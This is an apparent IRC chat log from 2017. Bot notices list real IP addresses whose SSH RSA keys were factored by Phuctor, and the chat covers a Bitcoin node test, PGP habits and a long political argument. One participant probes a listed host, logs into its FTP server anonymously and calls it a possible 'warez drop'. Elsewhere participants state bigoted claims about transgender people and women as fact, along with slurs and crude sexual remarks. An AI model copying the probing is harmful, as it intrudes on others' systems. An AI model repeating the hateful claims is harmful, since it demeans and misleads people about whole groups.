for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown US) 1645867;1492564941;deedbot;http://phuctor.nosuchlabs.com/gpgkey/2FBF43EF14E5A6CAD0BF6DA650D9233944FB81365B85B74DD91BA2F7E19AE5D5 << Recent Phuctorings. - Phuctored: 1201...7453 divides RSA Moduli belonging to '74.45.228.69 (ssh-rsa key from 74.45.228.69 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown US) 1645868;1492564941;deedbot;http://phuctor.nosuchlabs.com/gpgkey/41D2E18DE2BE0D8C4DFB09DD66A9634FA07F3C0E9F5026CCAF88F82245BF8061 << Recent Phuctorings. - Phuctored: 1201...7453 divides RSA Moduli belonging to '74.45.0.99 (ssh-rsa key from 74.45.0.99 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown US) 1645869;1492564942;deedbot;http://phuctor.nosuchlabs.com/gpgkey/2FBF43EF14E5A6CAD0BF6DA650D9233944FB81365B85B74DD91BA2F7E19AE5D5 << Recent Phuctorings. - Phuctored: 1282...6909 divides RSA Moduli belonging to '74.45.228.69 (ssh-rsa key from 74.45.228.69 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown US) 1645870;1492564979;mod6;alright, mircea_popescu & asciilifeform ; full offline eatblock test is running again 1645871;1492564990;mircea_popescu;cool! 1645872;1492564995;asciilifeform;neato 1645873;1492565011;mod6;this time with ProcessBlock took (time val) ms; db write wait (time val) ms; db read wait (time val) ms 1645874;1492565051;mod6;24K+ blocks and counting... 1645875;1492565058;mod6;nmon is running again as well. 1645876;1492565061;mircea_popescu;post a snippet for comments ? 1645877;1492565125;mod6;lemme see what I can do. it's an offline box lol... 1645878;1492565130;mircea_popescu;ah k 1645879;1492565659;mod6;ok here's what I had when I copied it: http://www.mod6.net/eatblock-test/debug.log 1645880;1492565669;mod6;grab this quick, because I probably won't leave it up there long. 1645881;1492565750;mircea_popescu;kk 1645882;1492567639;deedbot;http://phuctor.nosuchlabs.com/gpgkey/F0210E5341B838C4588B41BB17DB41ABDA4F3926583C67C04526B22A7753B481 << Recent Phuctorings. - Phuctored: 1708...6363 divides RSA Moduli belonging to '118.96.72.79 (ssh-rsa key from 118.96.72.79 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (79.static.118-96-72.astinet.telkom.net.id. ID JK) 1645883;1492567640;deedbot;http://phuctor.nosuchlabs.com/gpgkey/F0210E5341B838C4588B41BB17DB41ABDA4F3926583C67C04526B22A7753B481 << Recent Phuctorings. - Phuctored: 1622...5917 divides RSA Moduli belonging to '118.96.72.79 (ssh-rsa key from 118.96.72.79 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (79.static.118-96-72.astinet.telkom.net.id. ID JK) 1645884;1492567640;deedbot;http://phuctor.nosuchlabs.com/gpgkey/98FD669E797CAC3831629A7C05455AB7C06FF7AF6CFBF8FE3AEF5B9A30A4A112 << Recent Phuctorings. - Phuctored: 1730...2503 divides RSA Moduli belonging to '88.131.59.187 (ssh-rsa key from 88.131.59.187 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown SE) 1645885;1492567641;deedbot;http://phuctor.nosuchlabs.com/gpgkey/98FD669E797CAC3831629A7C05455AB7C06FF7AF6CFBF8FE3AEF5B9A30A4A112 << Recent Phuctorings. - Phuctored: 1607...9147 divides RSA Moduli belonging to '88.131.59.187 (ssh-rsa key from 88.131.59.187 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown SE) 1645886;1492568418;asciilifeform;https://118.96.72.79 << 'zimbra' 1645887;1492568420;asciilifeform;whatever that is. 1645888;1492568520;asciilifeform;ftp -p 118.96.72.79 1645889;1492568521;asciilifeform;Connected to 118.96.72.79. 1645890;1492568521;asciilifeform;220 "PT. Asean Motor International. Local FTP Server." 1645891;1492568530;asciilifeform;anonymous... works 1645892;1492568533;asciilifeform;empty tho. 1645893;1492568540;asciilifeform;in case anybody needed a warez drop... 1645894;1492568631;asciilifeform;http://www.appktm.co.id << asean motor intl. 1645895;1492568634;asciilifeform;vroom,vroom. 1645896;1492570829;mircea_popescu;lel 1645897;1492570993;danielpbarron;!#s perianne boring 1645898;1492570993;a111;13 results for "perianne boring", http://btcbase.org/log-search?q=perianne%20boring 1645899;1492571504;mircea_popescu;ah! 1645900;1492571512;mircea_popescu;thassit. 1645901;1492572442;asciilifeform;in other oldies, http://sickmyduck.narod.ru/pkd058-0.html . 1645902;1492577691;deedbot;http://phuctor.nosuchlabs.com/gpgkey/4C861200A12C782F8C27435D1223E05DD34AAE06645C9EC8DDE66F522B4A5ED3 << Recent Phuctorings. - Phuctored: 1403...7473 divides RSA Moduli belonging to '91.121.219.26 (ssh-rsa key from 91.121.219.26 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (mx.heynen.biz. BE) 1645903;1492577691;deedbot;http://phuctor.nosuchlabs.com/gpgkey/4C861200A12C782F8C27435D1223E05DD34AAE06645C9EC8DDE66F522B4A5ED3 << Recent Phuctorings. - Phuctored: 1614...7323 divides RSA Moduli belonging to '91.121.219.26 (ssh-rsa key from 91.121.219.26 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (mx.heynen.biz. BE) 1645904;1492585528;ben_vulpes;"The Bindmans LLP law firm, acting on behalf of (green party, house of lords rep) Jones, contacted six of those listed to verify their passwords...In response, five of the six gave passwords that matched those given in the letter and the sixth was nearly a match." 1645905;1492585531;ben_vulpes;staggering lol 1645906;1492585563;ben_vulpes;https://www.wsws.org/en/articles/2017/04/15/hack-a15.html 1645907;1492585816;ben_vulpes;fun temporal proximity coincidence to http://www.ringroadbug.com/ showing up in #b-a, where i found the hilarious nsf-grantee's website 1645908;1492585888;ben_vulpes;where if i read correctly, chrome udp's passwords to such services as gmail in such a way as to 'encrypt' them but still reveal their length 1645909;1492585935;ben_vulpes;nsf grantee produced a odd little video of a chrome browser running under programmatic control solving captchas and 'brute forcing' passwords 1645910;1492586045;ben_vulpes;odd because in what world is that a "proof of concept", unless there's some bass ackwards msft-trained IT snotrag 'ethics' line that somehow justifies the pretense to proof of a video a twelve-year old could have faked 1645911;1492598836;Framedragger;asciilifeform: just fyi i am unable to download /sadmods. i am using curl with no retry. no biggie, and i know you have more important things to do :) 1645912;1492598843;Framedragger;iirc previously was able to do this, tho 1645913;1492605596;Framedragger;is there a more convenient way of organising and/or sending pgpgrams to irc folx? i have http://p.bvulpes.com/pastes/iCXI2/?raw=true which is ~fine. (it'll complain about unsigned key if target is such, and gpg will ask y/n there. add `--trust-model always` to gpg command if you don't like this and like to live dangerously) 1645914;1492605652;Framedragger;(then, just do `ep frame` to encrypt to my key e.g., type msg as per gpg, get paste url) 1645915;1492605787;Framedragger;i could add www endpoint to scriba which would take in encrypt pgpgrams, and scriba would PM them to target. to avoid abuse etc., messages would need to be signed, tho. not sure how useful. (i'd maybe use this. could pgpgram while not connected to irc. maybe overthinking this before impending gossipd) 1645916;1492605833;Framedragger;s/take in encrypt/take in encrypted/ 1645917;1492606068;asciilifeform;http://btcbase.org/log/2017-04-19#1645915 << wtf, why 1645918;1492606068;a111;Logged on 2017-04-19 12:43 Framedragger: i could add www endpoint to scriba which would take in encrypt pgpgrams, and scriba would PM them to target. to avoid abuse etc., messages would need to be signed, tho. not sure how useful. (i'd maybe use this. could pgpgram while not connected to irc. maybe overthinking this before impending gossipd) 1645919;1492606101;asciilifeform;terrifyingly bad idea imho 1645920;1492606258;asciilifeform;nothing has any business being enpgp'd ~on a server~, wtf 1645921;1492606307;asciilifeform;and how the hell would you 'messages would need to be signed' ?! 1645922;1492606438;asciilifeform;and under what circumstances is it that i can't get to irc, but ~can~ get to 'www endpoint' ? 1645923;1492606457;asciilifeform;lemme guess: iphone !? 1645924;1492606474;asciilifeform;we want this ?!! 1645925;1492606567;asciilifeform;http://btcbase.org/log/2017-04-19#1645913 << is this really a bottleneck for you, Framedragger ? 1645926;1492606567;a111;Logged on 2017-04-19 12:39 Framedragger: is there a more convenient way of organising and/or sending pgpgrams to irc folx? i have http://p.bvulpes.com/pastes/iCXI2/?raw=true which is ~fine. (it'll complain about unsigned key if target is such, and gpg will ask y/n there. add `--trust-model always` to gpg command if you don't like this and like to live dangerously) 1645927;1492606629;asciilifeform;how? and have you thought about how possibly other people do not ~want~ this 'convenience' ? i for instance have no intention of ever automating any part of my pgp process. whatsoever. 1645928;1492606695;asciilifeform;it unhygienic, plain and simple. 1645929;1492606744;asciilifeform;nor is it purely a matter of 'oh, i'll automate sending, asciilifeform can choose whether to automate decoding' 1645930;1492606889;asciilifeform;if folx start 'conveniencing' and auto-sending pgpgrams, it will become necessary to require outer signatures (i.e. over ciphertext) and i, for example, will simply not read messages from anyone i suspect of auto-sending. 1645931;1492606942;asciilifeform;some thing has NO business ever being 'convenient'. 1645932;1492607362;asciilifeform;http://btcbase.org/log/2017-04-19#1645911 << the usual reason. 1645933;1492607362;a111;Logged on 2017-04-19 10:47 Framedragger: asciilifeform: just fyi i am unable to download /sadmods. i am using curl with no retry. no biggie, and i know you have more important things to do :) 1645934;1492607416;Framedragger;1. it's why i asked, re. convenience, 2. yeah it's a terrible idea, hm, and 3. there was no intention to do any encrypting/signing on the server - god forbid 1645935;1492607448;asciilifeform;Framedragger: then i dun even grasp how it was supposed to work at all 1645936;1492607483;Framedragger;no, fuck it, it's terrible throughout. 1645937;1492607499;asciilifeform;aite. 1645938;1492607564;Framedragger;(current convenience simply allows for "type message, give recipient, get back url to send to", and any additional stuff is ben_vulpes' et al. 'programm0rs like to masturbate with complexity') 1645939;1492612750;deedbot;http://trilema.com/2017/menstruation-lulz/ << Trilema - Menstruation lulz 1645940;1492612933;asciilifeform;https://archive.is/ndyWe << in other hilarities. 1645941;1492612940;asciilifeform;'Scores of Drupal developers have formed a protest against the exiling of a project veteran who dabbled in kinky sci-fi hanky-panky.' 1645942;1492612972;mircea_popescu;how the fuck does "exiling" work, supposedly ? 1645943;1492612978;asciilifeform;^ d00d kicked out of genderfuckshitware open sores 'project' for... being aficionado of ancient s&m fiction 1645944;1492612985;mircea_popescu;lol 1645945;1492612999;mircea_popescu;i guess latest trilema should be right up their... alley. 1645946;1492613016;asciilifeform;mircea_popescu: iirc he was 'disinvited' from some conference and publicly 5minutesofhate-d 1645947;1492613025;mircea_popescu;ONOES!!1 1645948;1492613045;asciilifeform;https://archive.is/4Ie3k << 'confessions' 1645949;1492613048;mircea_popescu;dude, not going to their shitty "conferences" is the best way to a) get some work done and b) eat well. 1645950;1492613079;mircea_popescu;group of dorks complains about the rest of the dorks doing the guy a fucking favour. 1645951;1492613097;asciilifeform;the lulzy bit, is that the entire 'project' would not exist then. 1645952;1492613106;mircea_popescu;heh 1645953;1492613123;asciilifeform;( what 'red blooded man' and where, uses 'drupal', and for what ?? ) 1645954;1492613138;mircea_popescu;i dunno. people kept proposing it "for cms" 1645955;1492613144;asciilifeform;'we are vehemently opposed to discrimination, harassment, intimidation, bullying, doxxing, secret trials, and digging up information on members' personal lives."' << really nao, appelbaum? 1645956;1492613154;mircea_popescu;lel 1645957;1492613162;mircea_popescu;"vehehehee what was i saying" 1645958;1492613194;asciilifeform;'The group is asking Buytaert to reexamine Garfield's case and, if he was not found to be violating Drupal's code of conduct, issue a public apology. They also want Buytaert to update Drupal's code to ban discrimination based on "peaceful, consensual, law-abiding beliefs" and craft clear rules on code of conduct that will be applied openly.' << this, apparently. 1645959;1492613200;asciilifeform;didjaknow. 1645960;1492613233;mircea_popescu;looks like a fine substitute for doing any work yet another workday 1645961;1492613773;Framedragger;> find interesting post; follow to interesting person's twitter; get suggestion whom to follow, on the surface it looks good (e.g. "also a hardware engineer", etc.) 1645962;1492613773;Framedragger;> hm, this other person rants about something-politics, can't even be arsed to read. no content 1645963;1492613775;Framedragger;> description/homepage says SJW 1645964;1492613775;Framedragger;> oh 1645965;1492613779;Framedragger;happens all the damn time. :/ 1645966;1492613887;Framedragger;used to shy away from generalising based this, i have to admit. but it's such an accurate signal (what are the chances that trans-crypto-engineer-sjw will be posting stuff related to the crpyto-engineer part?), it's mindboggling 1645967;1492613991;mircea_popescu;Framedragger you know who was the original transgender engineer (and of course the smegma stains don't mention her, because why would they!) ? 1645968;1492614072;Framedragger;no, who? 1645969;1492614166;mircea_popescu;companion question : who invented vlsi ? 1645970;1492614227;Framedragger;imma just start googling soon :) vlsi as in opengl, i assume. (i dunno) 1645971;1492614280;Framedragger;one lynn conway.. this name was mentioned here wasn't it.. 1645972;1492614285;Framedragger;!#s lynn conway 1645973;1492614286;a111;2 results for "lynn conway", http://btcbase.org/log-search?q=lynn%20conway 1645974;1492614291;Framedragger;!#s conway 1645975;1492614292;a111;15 results for "conway", http://btcbase.org/log-search?q=conway 1645976;1492614294;Framedragger;heh 1645977;1492614379;mircea_popescu;aha. 1645978;1492614906;mircea_popescu;meanwhile at social justice camp for women in tech, https://68.media.tumblr.com/64df20c85ac7652be1ba5985e1dd1fcf/tumblr_n6imj27nR71t0969ao1_1280.jpg 1645979;1492614909;asciilifeform;http://btcbase.org/log/2014-02-21#521970 << also interesting re subj 1645980;1492614909;a111;Logged on 2014-02-21 23:57 asciilifeform: conway became the personal nemesis of the author 1645981;1492615065;Framedragger;yeah k. figures :D 1645982;1492615089;asciilifeform;http://ai.eecs.umich.edu/people/conway/TS/LynnsReviewOfBaileysBook.html << subj. (warning: expert entomologists only.) 1645983;1492615119;asciilifeform;^ so no, conway was not 'the good trans', went full bore tard not so long after 'switch'. 1645984;1492615193;asciilifeform;set about organizing witchhunts of psychologists who wouldn't repeat the 'party line'. 1645985;1492615335;asciilifeform;and yes, i have the vlsi textbook. ( i also have paul graham's lisps, and schneier's 1993 encyclopaedia, even!111 ) 1645986;1492615341;Framedragger;she's been quite productive tho, neh? can't deny that? 1645987;1492615350;asciilifeform;Framedragger: observe ~when~ productive. 1645988;1492615353;Framedragger;i'm not familiar with how good/bad/evil vlsi is. 1645989;1492615367;Framedragger;from initial skim of her bio, after gender change, too 1645990;1492615408;asciilifeform;Framedragger: vlsi today simply refers to the practice of auto-generating (rather than drawing by hand) an ic layout, using 'basic blocks' 1645991;1492615423;asciilifeform;quite analogous to what the familiar compiler does . 1645992;1492615424;Framedragger;aha rightright. that's about as much as i know, tho 1645993;1492615429;Framedragger;k. 1645994;1492615478;mod6;mornin' 1645995;1492615483;asciilifeform;heya mod6 1645996;1492615491;mircea_popescu;now im gonna have to read that crap. why do i get involved in these things! 1645997;1492615523;mod6;eatblock is upto 235K+ blocks. 1645998;1492615535;Framedragger;asciilifeform: from skimming her bio, she went into activism after tech career retirement, which followed ~quite a bit after~ the change. inferring cause-effect there is imho stretching it ~very~ much. but then, i haven't met her, etc. 1645999;1492615559;Framedragger;good stuff mod6 :) 1646000;1492615640;mircea_popescu;lol this shit. "The book especially defames trans women who are attracted to men, calling them "homosexual transsexuals" as if they were men themselves." ... which... they aren't, because... reasons ? 1646001;1492615664;asciilifeform;Framedragger: the more general observation is that if 'trans'-creation worked worth a tinker's damn, there would be no 'activist category' for it, there'd be just a set of, e.g., chix, with peculiar biographies that nobody but their mothers even have to know about, theoretically 1646002;1492615712;Framedragger;asciilifeform: i disagree. in their mind, it is completely consistent to do activism as they are 'suppressed', etc.; so i don't see how that would necessarily follow 1646003;1492615719;mircea_popescu;ftr, prostitution is in point of fact the single most common occupation of transsexuals of any description, as well as of "sex activists" of whatever flavour. 1646004;1492615725;asciilifeform;Framedragger: think about it. if it worked --- there's be no 'they'. 1646005;1492615725;Framedragger;anyway, the point is, she did lots of technical work after gender change. 1646006;1492615736;mircea_popescu;this is like observing that not-particularily-bright kid who evidently likes cars is probably a driver. 1646007;1492615739;asciilifeform;it'd be like dyed hair, you have nfi whose hair is dyed. 1646008;1492615775;Framedragger;asciilifeform: that's true, it's "rough around the edges" is an understatement for now. and in general, a ~very~ problematic position to be in. there is that... 1646009;1492615779;asciilifeform;Framedragger: there'd be no even theoretical 'suppressed', think. 1646010;1492615787;Framedragger;yes, yes. 1646011;1492615808;mircea_popescu;asciilifeform you can't tell ?! 1646012;1492615831;asciilifeform;but as it is, they have 'movement' which consistently and insistently lies about various aspects. for not especially inscrutable political reasons. 1646013;1492615835;mircea_popescu;but yes, Framedragger has it, the topic was whether engineer, not whether "good" or "bad" or whatever. 1646014;1492615841;asciilifeform;mircea_popescu: can only tell if the dye is poor, or runs, etc. was the idea. 1646015;1492615847;Framedragger;i don't know, i just see an engineer who did engineer work and contributions before and after gender transition; and a person who got caught into politics/issues of genderstuff after involving self in genderstuff. "meh" is my reaction. 1646016;1492615856;mircea_popescu;asciilifeform not true, no. can tell in almost all cases. 1646017;1492615874;asciilifeform;mircea_popescu can probably also tell how many years a wine aged by naked eye. 1646018;1492615878;Framedragger;(the latter may signify that genderstuff is poison, sure.) 1646019;1492615938;Framedragger;asciilifeform: i have to agree re. 'movement' tho, yeah.. 1646020;1492615951;asciilifeform;Framedragger: other point is that involvement in a 'movement' characterized by organized intellectual dishonesty -- is not compartmentalizable. it makes me question the 'activist''s entire career. 1646021;1492615960;asciilifeform;( vlsi -- works. but, perhaps plagiarized ? etc ) 1646022;1492616011;Framedragger;yeah, i can see that. compartments of the kind are always leaky. and it's natural to then distrust in general, etc. however, if you wanted to use this as an example why no tech career happened after, you'd be begging the question. 1646023;1492616023;mircea_popescu;the problem with this is that it won't allow you to see engineer-politicians, which is ALSO not compartimentalizable : it will force you to beedog, ie, not become as good as expression and telling women's original haircolor as you could, on the basis of your genetics say, actually be. 1646024;1492616049;asciilifeform;not everybody is a sapper for a living. 1646025;1492616073;mircea_popescu;you know, they don't actually require fishermen to cut off their legs because boat anyway. 1646026;1492616083;asciilifeform;not yet!1111 1646027;1492616091;mircea_popescu;seems silly on the face of it. 1646028;1492616099;mod6;third collection of ~1Gb of entropy is complete from my first fg. running ent & dh now... 1646029;1492616130;asciilifeform;( v. pelevin had a hilarious b00k where , in future, 'alexey maresyev' (ww2 ace with 0 legs) 'school of flight', cosmonauts MUST lose legs, it was hilarious ) 1646030;1492616132;mircea_popescu;good thing mod6 is doing all this work so we can sit around reading inept reviews of even worse "research" in "psycology" 1646031;1492616144;asciilifeform;lol 1646032;1492616151;mod6;hahaha 1646033;1492616207;Framedragger;i did feel dirty writing the above lol 1646034;1492616323;mircea_popescu;incidentally, alf is correct on one point : there is a painful spot in the history of psychology (the pseudoscience). let us delve : 1646035;1492616376;mircea_popescu;1. psychology is not a scientific endeavour. it can not be, for fundamental reasons put on paper for instance by a certain 1600 english justice ( http://btcbase.org/log-search?q=%22devil+himself%22 ) 1646036;1492616444;mircea_popescu;2. 1 notwithstanding, in the early phase of the post-industrialization lower-upper class (a faux construction consisting of lower class material enjoying upper class easements, pretensions and expectations) struggling with the question of what the fuck to do with themselves, "studying" "psychology" became a thing. 1646037;1492616482;mircea_popescu;it did not actually have the wings to fly, which is why the social group in question eventually settled on "charity" as briefly mentioned yest. the whys and wherefores are worthy of a volume, and quite well fleshed out, but we won't bother here. 1646038;1492616528;asciilifeform;the same folx switched later to faux-mathematics, faux-softwaredevelopment, etc. 1646039;1492616544;asciilifeform;psychology was simply fashionable in '50s. today -- same role filled by other stillborn disciplines. 1646040;1492616548;mircea_popescu;3. abandoned in its only possible role (all pseudoscience can do is supply crystal balls for court magicians) by the dominating class (female culture is the larger part of lower-upper middle class culture for very fundamental reasons - they're genetically insufficient) it found a 2nd life among the smaller half. 1646041;1492616588;mircea_popescu;4. freud, jung and the rest of the "men going their own way" of the 1800s are exactly this - exponents of the minority bourgeois party trying to fashion a crystal ball "just as good" as the prevailing female construct (religion-blabla-etc) out of you know. this. 1646042;1492616635;mircea_popescu;5. this resulted in a very strongly ~prescriptive~ pseudoscience, the fantasy of all "therapists" etc being that you go to them to acquire permission to be who you are. a sort of, if you will, slavery for infantile inept "masters", cheaply made and mass distributed. 1646043;1492616698;mircea_popescu;6. the reabsorbtion of this unseemly polyp in the general discourse of lower-upper class was a necessary evolution, and hadn't it punctured through the whole "how dare you say man-women are whores!" it'd have punctured somewhere else. lightning strikles on the basis of charge not on the basis of dielectric failure. heck, it'll create the latter to serve the former. 1646044;1492616768;mircea_popescu;it's unfortunate that a schmuck who actually had the unmitigated audacity to tell people he is a "chair of blabla" was also so fucking clueless as to not know the foregoing, and truly expected he'll be playing with his dickie in the sand unfettered cca 2004. but then again -- this is the just desserts for sinking one's time and productive life in the idiotic line of chasing nonsense., 1646045;1492616824;asciilifeform;mircea_popescu: psychology, such as described here, unfortunately found a second life -- propping up american pharma 'industry'. 1646046;1492616843;mircea_popescu;sure. because guess what -- all transsexuals are whores, and this includes bailey. 1646047;1492616869;asciilifeform;( has about as much to do with the original psychology as modern chinese 'communism', with lenin . ) 1646048;1492616893;mircea_popescu;now : it is not directly evident to me how one engineer riding chariots in battle and raping the women of a different tribe of chariot-riding idiots is in any sense disqualifying. 1646049;1492616920;mircea_popescu;but, let the record reflect that i've myself done all that ; and will. i find it in no sense contradictory or mutually exclusive with understanding or the thought process generally. 1646050;1492616958;asciilifeform;let's briefly visit another time, place : the showdown between lysenko and vavilov. 1646051;1492616966;mircea_popescu;aite. 1646052;1492616981;asciilifeform;in 1990s-era 'expose' crapolade, the former is painted as 'devil', 'evil genius pseudoscientist', etc. 1646053;1492617017;asciilifeform;and it is not difficult to paint like this, because d00d operated with pre-modern conceptions of genetic mechanism ( his was lamarck-style. ) 1646054;1492617027;mircea_popescu;alright 1646055;1492617033;asciilifeform;but the lie by omission, in this analysis, is : so did vavilov & co. 1646056;1492617039;mircea_popescu;this is true. 1646057;1492617050;asciilifeform;they also had nfi re gene expression, regulation mechanism, etc. 1646058;1492617055;asciilifeform;and, most interestingly, 1646059;1492617078;asciilifeform;afaik, v & co were ~the first instigators~ of invoking nkvd apparatus in 'battle of grantola' 1646060;1492617085;asciilifeform;writing denunciations on the opponents etc. 1646061;1492617091;mircea_popescu;iirc also true. 1646062;1492617119;asciilifeform;also of interest possibly to mircea_popescu is that l & co worked on 'practical' items, how to optimize wheat, potato. v & co worked on flies. 1646063;1492617133;mircea_popescu;i'm aware. hence the strawberry joke etc. 1646064;1492617138;asciilifeform;this did not help v & co's life expectancies when ~they~ decided to politically battle. 1646065;1492617151;asciilifeform;'brought a knife to gun fight' 1646066;1492617173;mircea_popescu;right. which is exactly a restatement of the above comment re bailey. 1646067;1492617187;mircea_popescu;ie http://btcbase.org/log/2017-04-19#1646044 1646068;1492617187;a111;Logged on 2017-04-19 15:46 mircea_popescu: it's unfortunate that a schmuck who actually had the unmitigated audacity to tell people he is a "chair of blabla" was also so fucking clueless as to not know the foregoing, and truly expected he'll be playing with his dickie in the sand unfettered cca 2004. but then again -- this is the just desserts for sinking one's time and productive life in the idiotic line of chasing nonsense., 1646069;1492617199;asciilifeform;i bring it in, because imho the entire conflict does not look good for ~either~ 1646070;1492617204;asciilifeform;and does indeed discredit. 1646071;1492617212;mircea_popescu;who does it discredit and why ? 1646072;1492617231;mircea_popescu;let us bring the matter to a trilema article. you've read the definition of the romanian expression "pai nu?" ? 1646073;1492617242;asciilifeform;aha, it was in a recent one 1646074;1492617261;mircea_popescu;so then. am i thereby discredited, slavegirl will say "oh, i only want pencildick masters ?" 1646075;1492617278;*;asciilifeform doesn't grasp 1646076;1492617292;mircea_popescu;suppose we're at cinema and crack whore walks by. if i fuck her, discredited ? suppose crack whore's son/father/husband walks by and i crack him one, for some reason or no reason at all. discredited ? 1646077;1492617314;mircea_popescu;this discreditation theory is what well-meaning old jewish women teach entirely useless jewish boys, for the purpose of having jewish girls running around naked. 1646078;1492617325;asciilifeform;not rly, not intellectual playing field 1646079;1492617349;asciilifeform;'discredit' is the mental equiv. of negrate, 'set bozo bit', a very personal matter. 1646080;1492617352;mircea_popescu;asciilifeform the superior can not be discredited from engaging the inferior on his own terms ; because THE ONLY POINT of superiority is that the superior gets to choose whether to superior or inferior, whereas the inferior gets no such choice, but must inferior. 1646081;1492617360;asciilifeform;when you 'no longer certain who you are dealing with' 1646082;1492617362;mircea_popescu;"si quis, inquis, dives est" is all about that. 1646083;1492617383;asciilifeform;mircea_popescu: forget the jewwishwoman sense of the word, public discredit 1646084;1492617402;mircea_popescu;a world where "the superior with the superior and the inferior with the inferior" is the ideal female world of flat hierarchy. 1646085;1492617411;asciilifeform;i was specifically referring to 'after that, i had reason to doubt conway, and this projects backwards in time' 1646086;1492617411;mircea_popescu;no. i will fuck five dollar crack whores every time i feel like it. 1646087;1492617435;mircea_popescu;asciilifeform if you're serious you'll have no more or less reason than you had before. of course you'll doubt, what is this. 1646088;1492617447;asciilifeform;who doesn't want to -- obviously, i can't make'em. but asciilifeform goes, rate -1 conway, genderactivister. 1646089;1492617482;asciilifeform;in asciilifeform's book, vaviloving is a mortal sin. 1646090;1492617491;asciilifeform;doesn't compartmentalize. 1646091;1492617513;mircea_popescu;well yes, this much we had half hour ago. the whys dun seem to be working out too well though. 1646092;1492617559;asciilifeform;every serious flavour of european had this concept. 'you just don't ~do~ that.' 'you don't rat to kgb.' 1646093;1492617565;asciilifeform;ratted ? then -- rat. 1646094;1492617608;mircea_popescu;yes, but you also are mixing in a personal "kgb == gender activism in the us", which... 1646095;1492617624;asciilifeform;read link re what conway did/does to bailey. 1646096;1492617650;mircea_popescu;yes, i'm aware there's a something awful that twenty years ago used to be a sort of cat-v for socialist tards etcetera. yes i'm aware the "climate science" pseudoscientards had some mailing list they coordinated their nonsense on etc. 1646097;1492617654;asciilifeform;( i read his b00k, but have ~0 position on his crackpottery 1 way or another. this is about something quite else. ) 1646098;1492617693;mircea_popescu;and if tomorrow i get in an argument with some idiot and shoot him, will you be all "dude, you shouldn't shoot people" ? 1646099;1492617699;mircea_popescu;after all, every european ALSO had a concept of that. 1646100;1492617704;asciilifeform;shooting's a-ok. 1646101;1492617710;mircea_popescu;how do you distinguish ? 1646102;1492617730;asciilifeform;because with OWN hands. 1646103;1492617734;asciilifeform;not kgb's. 1646104;1492617746;mircea_popescu;oh. i didn't mean i personally shoot him. i just mean you know, he gets shot. 1646105;1492617755;mircea_popescu;why would i shoot him with own hands. 1646106;1492617977;asciilifeform;mircea_popescu does not see diff b/w 'getting' a d00d shot with mircea_popescu's very long hand, vs campaigning to have d00d declared 'enemy of the people' with kgb anon denunciations ? 1646107;1492618009;mircea_popescu;i can see all sorts of differences. which one do you say is controlling here ? 1646108;1492618034;asciilifeform;the one where the latter weapon is 'ecologically' catastrophic, in that it fattens the empire. 1646109;1492618052;asciilifeform;the pistol -- does not. 1646110;1492618074;mircea_popescu;ah. 1646111;1492618078;asciilifeform;aha. 1646112;1492618096;mircea_popescu;this is a valid point -- except note that lynn's excuised by it. 1646113;1492618106;asciilifeform;excused how ? 1646114;1492618111;mircea_popescu;at the time -- this was no empire. it's more or less the transgender stonewall inn moment 1646115;1492618131;mircea_popescu;or whatever they called that low rent ny pub where faggots for the first time fought back against the pigs. 1646116;1492618164;asciilifeform;'In the Spring of 2003, J. Michael Bailey...' 1646117;1492618167;asciilifeform;spring of 2003. 1646118;1492618177;mircea_popescu;2004, you recall, wash bush, and a very power hungry and not yet paintsuited abomination running up and down the country trying to create some sort of "future democrat alliance" 1646119;1492618197;mircea_popescu;so the 1k or so transgender freaks got a seat at the table, mostly for religious reasons 1646120;1492618203;asciilifeform;there sure was an empire. 1646121;1492618207;mircea_popescu;(the "our democracy" religious-science needed some weird.)( 1646122;1492618227;mircea_popescu;asciilifeform i suppose this is then the root of difference. 1646123;1492618371;mircea_popescu;moreover here's a different spot of trouble -- suppose a-friend-who-is-not-me has the remarkable bad fortune of beign crowned/acclaimed god-emperor of everything. did thereby his previous a-ok "long hand" now become a very unok "empire" and consequently he's supposed to do what ? leave them behind and move over to washington to be trumped ? or how's the logic here work. 1646124;1492618415;asciilifeform;it'd depend on how he runs his god-king-dom, neh ? 1646125;1492618431;mircea_popescu;oh, we're assuming you'd be privy to that ? "how he runs it" is a box open to your inspection ? 1646126;1492618442;asciilifeform;to an extent 1646127;1492618452;mircea_popescu;can't reference variables not declared in your scope, alfie! 1646128;1492618475;asciilifeform;e.g. i've not been chums with obummer. but know a bit what it is like to live in obummerdom. 1646129;1492618477;mircea_popescu;and btw, "to an extent" == "new jersey method!!" 1646130;1492618507;mircea_popescu;you know, http://btcbase.org/log/2017-04-18#1645769 on my system outputs "to an extent yes" 1646131;1492618507;a111;Logged on 2017-04-18 20:26 asciilifeform: yes | dd of=out bs=1024k count=10 1646132;1492618513;asciilifeform;lol 1646133;1492618516;mircea_popescu;it does! 1646134;1492618575;asciilifeform;'meat' methods in comp engineering are not objectionable because 'meat methods', approximations, but because there is ALTERNATIVE there. 1646135;1492618582;asciilifeform;in meatdom -- none. 1646136;1492618593;mircea_popescu;this is what the psychology crowd wants to sell, at any rate. 1646137;1492618608;mircea_popescu;of course there's alternative. what the fuck do you suppose a classical education is for ? 1646138;1492618635;asciilifeform;classical education gives you emulator-ready vm image of obummer's brain ?! 1646139;1492618652;asciilifeform;i can see how mircea_popescu might like to imagine that it does. 1646140;1492618656;asciilifeform;but sadly no. 1646141;1492618656;mircea_popescu;no, but it gives you enough sense to not write your minesweeper applet in such a way as to import netbase. 1646142;1492618667;asciilifeform;for that, brain of squirrel suffices. 